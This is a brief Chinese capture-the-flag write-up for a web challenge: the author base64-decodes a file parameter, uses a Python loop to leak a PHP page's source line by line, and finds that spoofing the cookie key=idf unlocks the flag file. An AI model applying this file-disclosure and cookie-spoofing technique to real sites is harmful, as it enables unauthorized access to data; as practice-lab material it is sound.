idf cookie欺骗

http://ctf.idf.cn/game/web/40/index.php?line=&file=ZmxhZy50eHQ

打开后就一串长长的码 不知所云
注意到ZmxhZy50eHQ 估计是BASE64
查询 得到flag.txt
放进去啥都没（无言以对）
大牛说是文件包含漏洞（什么是文件包含漏洞？去百度百度）
把file=aW5kZXgucGhw(index.php的base64)line=1发现有代码
测试line发现有个18行

写一个python弄出全部代码（py3）

import urllib.request
i=0
while(i<20):
    file = urllib.request.urlopen("http://ctf.idf.cn/game/web/40/index.php?line=%d&file=aW5kZXgucGhw"% i).read()
    print(file.decode('utf-8'))
    i=i+1

得到

<?php


    error_reporting(0);


    $file=base64_decode(isset($_GET['file'])?$_GET['file']:"");


    $line=isset($_GET['line'])?intval($_GET['line']):0;


    if($file=='') header("location:index.php?line=&file=ZmxhZy50eHQ");


    $file_list = array(


        '0' =>'flag.txt', 


        '1' =>'index.php',


    );





    if(isset($_COOKIE['key']) && $_COOKIE['key']=='idf'){


        $file_list[2]='flag.php';


    }





    if(in_array($file, $file_list)){


        $fa = file($file);


        echo $fa[$line];


    }


?>

也就是说设置cookie key=idf就行了